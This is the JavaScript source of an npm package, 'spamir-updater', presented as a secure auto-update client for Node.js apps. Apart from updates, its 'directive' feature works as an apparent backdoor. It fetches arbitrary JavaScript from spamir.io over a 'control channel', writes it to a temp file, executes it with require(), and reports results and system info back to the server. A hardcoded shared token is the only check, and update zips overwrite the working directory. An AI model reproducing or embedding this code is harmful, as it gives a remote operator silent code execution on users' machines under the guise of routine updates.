spamir-updater
Version:
Secure automatic update client for Node.js applications with encrypted communication and package verification
696 lines (599 loc) • 26.7 kB
JavaScript
const fs = require('fs');
const path = require('path');
const os = require('os');
const AdmZip = require('adm-zip');
const NetworkHandler = require('./network');
const EncryptionHandler = require('./encryption');
const {
loadVersionFromConfig,
saveVersionToConfig,
getSystemInfo,
generateInstanceSignature,
logToFile
} = require('./utils');
// Constants - these remain the same for all product implementations
const SHARED_AUTH_TOKEN = "0leCsb1QQNcswtnuOZdQ8zlqgYKSz0RMd9ZKMSCA76A=";
const ORIGIN_ENDPOINT_BASE = "https://spamir.io";
const CORE_HANDLER_VERSION = "1.0";
const GLOBAL_ENCRYPTION_ITERATIONS = 100000;
const API_BASE_PATH_SEGMENT = "/endpoint/v1/updater/";
/**
* Main updater client class
*/
class UpdaterClient {
constructor(options = {}) {
// Required configuration
if (!options.productIdentifier) {
throw new Error('productIdentifier is required');
}
this.productIdentifier = options.productIdentifier;
this.currentVersion = options.currentVersion || null;
// Optional overrides (mainly for testing)
this.authToken = options.authToken || SHARED_AUTH_TOKEN;
this.endpointBase = options.endpointBase || ORIGIN_ENDPOINT_BASE;
this.handlerVersion = options.handlerVersion || CORE_HANDLER_VERSION;
this.encryptionIterations = options.encryptionIterations || GLOBAL_ENCRYPTION_ITERATIONS;
// Generate unique instance signature
this.instanceMarker = generateInstanceSignature(this.authToken);
this.systemInfo = getSystemInfo();
// Initialize handlers
this.encryption = new EncryptionHandler(this.authToken, this.encryptionIterations);
this.network = new NetworkHandler(
this.endpointBase,
API_BASE_PATH_SEGMENT,
this.handlerVersion,
this.instanceMarker
);
// Session variables
this.sessionToken = null;
this.clientNonce = null;
this.directiveResults = [];
// Track if updater is running
this.isRunning = false;
}
/**
* Initialize version from config or default
*/
async initializeVersion() {
if (!this.currentVersion) {
// Try to load from config.json
const configVersion = await loadVersionFromConfig();
if (configVersion) {
this.currentVersion = configVersion;
logToFile(`Loaded version from config.json: ${this.currentVersion}`);
} else {
// Default to 1.0 if no version found
this.currentVersion = '1.0';
logToFile(`No version in config.json, using default: ${this.currentVersion}`);
}
}
}
/**
* Establish secure control channel with server
* @returns {Promise<Object|null>} Sync response or null on error
*/
async establishControlChannel() {
// Generate client nonce
this.clientNonce = this.encryption.generateNonce();
const payload = {
client_version: this.instanceMarker,
current_version: this.currentVersion,
product_identifier: this.productIdentifier,
system_info: this.systemInfo,
client_nonce_b64: this.clientNonce
};
const payloadJson = JSON.stringify(payload, null, 0);
const signature = this.encryption.signData(payloadJson);
const response = await this.network.sendRequest(
'sync_check',
payloadJson,
signature,
true
);
if (!response) {
logToFile('Failed to establish control channel', 'ERROR');
return null;
}
// Extract session token and server nonce
const serverNonce = response.server_nonce;
this.sessionToken = response.session_token;
if (serverNonce && this.sessionToken) {
// Negotiate encryption
const success = this.encryption.negotiateSecureLayer(this.clientNonce, serverNonce);
if (!success) {
logToFile('Failed to negotiate secure layer', 'ERROR');
this.sessionToken = null;
return null;
}
}
return response;
}
/**
* Download update package from server
* @param {Object} assetDetails - Asset details from server
* @returns {Promise<Buffer|null>} Package data or null on error
*/
async downloadPackage(assetDetails) {
if (!this.sessionToken) {
logToFile('No session token for asset download', 'ERROR');
return null;
}
const downloadToken = assetDetails.download_token;
if (!downloadToken) {
logToFile('No download token in asset details', 'ERROR');
return null;
}
const payload = {
version: assetDetails.version,
current_version: this.currentVersion,
instance_marker: this.instanceMarker,
product_identifier: this.productIdentifier,
session_token: this.sessionToken,
download_token: downloadToken
};
// Create signature without session_token
const hmacPayload = {
version: assetDetails.version,
current_version: this.currentVersion,
instance_marker: this.instanceMarker,
product_identifier: this.productIdentifier,
download_token: downloadToken
};
// Must match Python's json.dumps with sort_keys=True, separators=(',', ':')
const sortedKeys = Object.keys(hmacPayload).sort();
const sortedPayload = {};
sortedKeys.forEach(key => sortedPayload[key] = hmacPayload[key]);
const hmacJson = JSON.stringify(sortedPayload, null, 0);
const signature = this.encryption.signData(hmacJson);
const response = await this.network.downloadAsset(payload, signature);
// Enhanced debugging
if (!response) {
logToFile('Asset download failed: No response from server', 'ERROR');
return null;
}
if (!response.package) {
logToFile(`Asset download failed: Missing package field. Response keys: ${Object.keys(response).join(', ')}`, 'ERROR');
return null;
}
if (!response.hash) {
logToFile(`Asset download failed: Missing hash field. Response keys: ${Object.keys(response).join(', ')}`, 'ERROR');
return null;
}
let packageData;
const isEncrypted = response.encrypted || false;
if (isEncrypted) {
// Decrypt package
packageData = this.encryption.decryptPayload(response.package);
if (!packageData) {
logToFile('Failed to decrypt package', 'ERROR');
return null;
}
} else {
// Decode base64
packageData = Buffer.from(response.package, 'base64');
}
// Verify hash
const computedHash = this.encryption.computeHash(packageData);
if (computedHash !== response.hash) {
logToFile(`Package hash mismatch:`, 'ERROR');
logToFile(` Expected: ${response.hash}`, 'ERROR');
logToFile(` Computed: ${computedHash}`, 'ERROR');
logToFile(` Package size: ${packageData.length} bytes`, 'ERROR');
logToFile(` Is encrypted: ${isEncrypted}`, 'ERROR');
return null;
}
logToFile(`Package downloaded successfully: ${packageData.length} bytes, hash verified`, 'INFO');
return packageData;
}
/**
* Extract update package to current directory
* @param {Buffer} packageData - ZIP package data
* @param {string} newVersion - New version string
* @returns {Promise<string>} Status: 'success', 'failed_extraction', or 'failed_bad_format'
*/
async extractPackage(packageData, newVersion) {
// Check if it's a ZIP file (starts with PK)
if (!packageData.slice(0, 4).equals(Buffer.from([0x50, 0x4B, 0x03, 0x04]))) {
return 'failed_bad_format';
}
try {
const zip = new AdmZip(packageData);
const extractPath = process.cwd();
// Extract all files
zip.extractAllTo(extractPath, true);
// Update version
this.currentVersion = newVersion;
logToFile(`Package extracted successfully, version updated to ${newVersion}`);
return 'success';
} catch (error) {
logToFile(`Extraction failed: ${error.message}`, 'ERROR');
return 'failed_extraction';
}
}
/**
* Process directive from server
* @param {string} downloadToken - Directive download token
* @param {string} directiveName - Name for logging
* @returns {Promise<Object>} Result object
*/
async processDirective(downloadToken, directiveName = 'Directive') {
if (!this.sessionToken) {
return { status: 'error', message: 'No session token' };
}
const payload = {
download_token: downloadToken,
version: this.currentVersion,
instance_marker: this.instanceMarker,
product_identifier: this.productIdentifier,
session_token: this.sessionToken
};
const hmacPayload = {
download_token: downloadToken,
version: this.currentVersion,
instance_marker: this.instanceMarker,
product_identifier: this.productIdentifier
};
// Sort keys for consistent HMAC
const sortedKeys = Object.keys(hmacPayload).sort();
const sortedPayload = {};
sortedKeys.forEach(key => sortedPayload[key] = hmacPayload[key]);
const hmacJson = JSON.stringify(sortedPayload, null, 0);
const signature = this.encryption.signData(hmacJson);
const response = await this.network.sendRequest(
'fetch_directive',
payload,
signature,
false
);
if (!response || !response.code || !response.hmac) {
return { status: 'error', message: 'Invalid directive response' };
}
let directiveCode;
const isEncrypted = response.encrypted || false;
if (isEncrypted) {
const decrypted = this.encryption.decryptPayload(response.code);
if (!decrypted) {
return { status: 'error', message: 'Failed to decrypt directive' };
}
directiveCode = decrypted.toString('utf8');
} else {
directiveCode = Buffer.from(response.code, 'base64').toString('utf8');
}
// Verify HMAC
if (!this.encryption.verifySignature(directiveCode, response.hmac)) {
return { status: 'error', message: 'Directive HMAC verification failed' };
}
// Execute the directive like Python version does
try {
// Create temporary directory (cross-platform)
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'directive-'));
const tempFilePath = path.join(tempDir, 'directive.js');
// Write directive code to temporary file
fs.writeFileSync(tempFilePath, directiveCode, 'utf8');
// Parameters to pass to the directive
const serviceParams = {
instance_marker: this.instanceMarker,
asset_version: this.currentVersion
};
let result = { status: 'error', message: 'Request could not be processed.' };
try {
// Clear require cache to ensure fresh execution
delete require.cache[require.resolve(tempFilePath)];
// Load and execute the directive module
const directiveModule = require(tempFilePath);
// Check if main function exists and is callable
if (directiveModule.main && typeof directiveModule.main === 'function') {
const moduleResponse = directiveModule.main(serviceParams);
if (typeof moduleResponse === 'object' && moduleResponse !== null) {
result = moduleResponse;
} else {
result = {
status: 'ok',
message: 'Request completed.',
return_value: String(moduleResponse)
};
}
} else {
result = { status: 'error', message: "Module 'main' interface not found." };
}
} catch (execError) {
logToFile(`Directive execution error: ${execError.message}`, 'ERROR');
result = {
status: 'error',
message: 'Directive execution failed',
error: execError.message
};
} finally {
// Clean up temporary files
try {
fs.unlinkSync(tempFilePath);
fs.rmdirSync(tempDir);
} catch (cleanupError) {
// Ignore cleanup errors
}
}
return result;
} catch (error) {
logToFile(`Directive processing error: ${error.message}`, 'ERROR');
return {
status: 'error',
message: 'Failed to process directive',
error: error.message
};
}
}
/**
* Report directive outcome to server
* @param {string} directiveName - Directive name
* @param {string} directiveVersion - Directive version
* @param {Object} resultDict - Result data
* @param {Object} options - Additional options for immediate directives
* @returns {Promise<boolean>} Success status
*/
async reportDirectiveOutcome(directiveName, directiveVersion, resultDict, options = {}) {
if (!this.sessionToken) {
return false;
}
// Different field names for immediate vs queued directives
const isQueued = options.queuedId !== undefined;
const payload = isQueued ? {
// For queued directives (update_queued_directive_status.php)
instance_marker: this.instanceMarker,
product_identifier: this.productIdentifier,
queued_id: String(options.queuedId),
directive_name: directiveName,
directive_version: directiveVersion,
session_token: this.sessionToken,
result_is_encrypted: 'False'
} : {
// For immediate directives (report_directive_result.php)
client_version: this.instanceMarker, // API expects client_version for the UUID
product_identifier: this.productIdentifier,
directive_name: directiveName,
directive_version: directiveVersion,
session_token: this.sessionToken,
result_is_encrypted: 'False'
};
// Add immediate directive specific fields
if (!isQueued && options.isImmediate && options.scriptId !== undefined) {
payload.script_id = String(options.scriptId);
payload.is_recurring = options.isRecurring ? '1' : '0';
}
const resultJson = JSON.stringify(resultDict);
let finalPayload = resultJson;
// Encrypt if we have a channel key
if (this.encryption.currentChannelKey) {
const encrypted = this.encryption.encryptPayload(Buffer.from(resultJson, 'utf8'));
if (encrypted) {
finalPayload = encrypted;
payload.result_is_encrypted = 'True';
}
}
// Different field name for immediate vs queued
if (isQueued) {
payload.outcome_data = finalPayload; // Queued uses outcome_data
} else {
payload.execution_result = finalPayload; // Immediate uses execution_result
}
// Must match Python's json.dumps with sort_keys=True, separators=(',', ':')
const sortedKeys = Object.keys(payload).sort();
const sortedPayload = {};
sortedKeys.forEach(key => sortedPayload[key] = payload[key]);
const hmacJson = JSON.stringify(sortedPayload, null, 0);
const signature = this.encryption.signData(hmacJson);
const actionKey = options.queuedId !== undefined ? 'update_directive_status' : 'report_outcome';
const response = await this.network.sendRequest(
actionKey,
payload,
signature,
false
);
if (response && response.message) {
logToFile(`Directive Execution Log: ${response.message}`, 'INFO');
}
return response && response.success;
}
/**
* Perform complete update cycle
* @returns {Promise<Object>} Update result
*/
async performUpdateCycle() {
// Clear previous directive results
this.directiveResults = [];
// Establish secure channel
const syncResponse = await this.establishControlChannel();
if (!syncResponse) {
return {
status: 'sync_failed',
message: 'Failed to establish control channel',
version: this.currentVersion
};
}
let overallStatus = 'no_update';
let newVersionDetails = null;
// Check for update package
const updatePackage = syncResponse.update_package;
logToFile(`Sync response received. Has update_package: ${!!updatePackage}`, 'INFO');
if (updatePackage && updatePackage.new_version) {
const offeredVersion = updatePackage.new_version;
logToFile(`Update available: ${this.currentVersion} -> ${offeredVersion}`, 'INFO');
if (offeredVersion !== this.currentVersion) {
overallStatus = 'update_started';
newVersionDetails = offeredVersion;
// Prepare asset details for download
const assetDetails = { ...updatePackage };
assetDetails.version = offeredVersion;
delete assetDetails.new_version;
logToFile(`Asset details prepared. Has download_token: ${!!assetDetails.download_token}`, 'INFO');
// Download package
const packageData = await this.downloadPackage(assetDetails);
if (packageData) {
// Extract package
const extractResult = await this.extractPackage(packageData, offeredVersion);
if (extractResult === 'success') {
overallStatus = 'update_success';
// Save new version to config
await saveVersionToConfig(offeredVersion);
} else {
overallStatus = 'update_failed';
}
} else {
overallStatus = 'update_failed';
logToFile('Package download or extraction failed', 'ERROR');
}
} else {
logToFile(`Version ${offeredVersion} is same as current version`, 'INFO');
}
} else {
if (!updatePackage) {
logToFile('No update package in sync response', 'INFO');
} else if (!updatePackage.new_version) {
logToFile('Update package missing new_version field', 'WARNING');
}
}
// Process immediate directive if present
const immediateDirective = syncResponse.immediate_directive;
if (immediateDirective && immediateDirective.download_token) {
const result = await this.processDirective(
immediateDirective.download_token,
immediateDirective.directive_name || 'UnknownDirective'
);
// Store directive result for the application
this.directiveResults.push({
type: 'immediate',
name: immediateDirective.directive_name || 'UnknownDirective',
version: immediateDirective.version || 'N/A',
result: result
});
await this.reportDirectiveOutcome(
immediateDirective.directive_name || 'UnknownDirective',
immediateDirective.version || 'N/A',
result,
{
isImmediate: true,
scriptId: immediateDirective.script_id,
isRecurring: immediateDirective.is_recurring || false
}
);
if (overallStatus === 'no_update') {
overallStatus = 'directives_processed';
}
}
// Process queued directives
const queuedDirectives = syncResponse.queued_directives || [];
for (const directive of queuedDirectives) {
if (directive.download_token) {
const result = await this.processDirective(
directive.download_token,
directive.directive_name || 'UnknownDirective'
);
// Store directive result for the application
this.directiveResults.push({
type: 'queued',
name: directive.directive_name || 'UnknownDirective',
version: directive.version || 'N/A',
result: result
});
await this.reportDirectiveOutcome(
directive.directive_name || 'UnknownDirective',
directive.version || 'N/A',
result,
{
queuedId: directive.queued_id
}
);
if (overallStatus === 'no_update') {
overallStatus = 'directives_processed';
}
}
}
return {
status: overallStatus,
message: `Cycle completed. Final version: ${this.currentVersion}`,
version: this.currentVersion,
new_version: overallStatus === 'update_success' ? this.currentVersion : newVersionDetails
};
}
/**
* Main method to check for updates
* @returns {Promise<Object>} Update status
*/
async checkForUpdates() {
if (this.isRunning) {
return {
status: 'error',
message: 'Update check already in progress',
version: this.currentVersion || '1.0'
};
}
this.isRunning = true;
try {
// Initialize version if not set
await this.initializeVersion();
// Perform update cycle
const result = await this.performUpdateCycle();
// Format response based on result
if (result.status === 'update_success') {
return {
status: 'update_available',
message: `Update completed successfully to version ${result.version}`,
version: this.currentVersion,
new_version: result.version
};
} else if (result.status === 'no_update') {
const response = {
status: 'no_update',
message: 'Application is up to date',
version: this.currentVersion
};
// Include directive results if any were processed
if (this.directiveResults.length > 0) {
response.directiveResults = this.directiveResults;
}
return response;
} else if (result.status === 'directives_processed') {
return {
status: 'no_update',
message: 'Directives processed. Update cycle completed.',
version: this.currentVersion,
directiveResults: this.directiveResults
};
} else if (result.status === 'sync_failed') {
return {
status: 'sync_failed',
message: 'Failed to connect to update server',
version: this.currentVersion
};
} else {
return {
status: 'error',
message: result.message || 'Update check failed',
version: this.currentVersion
};
}
} catch (error) {
logToFile(`Update check error: ${error.message}`, 'ERROR');
// Report error to server if possible
if (this.instanceMarker && this.productIdentifier) {
const errorData = {
instance_marker: this.instanceMarker,
product_identifier: this.productIdentifier,
agent_version: this.handlerVersion,
error_message: error.message,
stack_trace: error.stack || ''
};
const errorJson = JSON.stringify(errorData, null, 0);
const signature = this.encryption.signData(errorJson);
await this.network.reportError(errorData, signature);
}
return {
status: 'error',
message: `Update check failed: ${error.message}`,
version: this.currentVersion || '1.0'
};
} finally {
this.isRunning = false;
}
}
}
module.exports = UpdaterClient;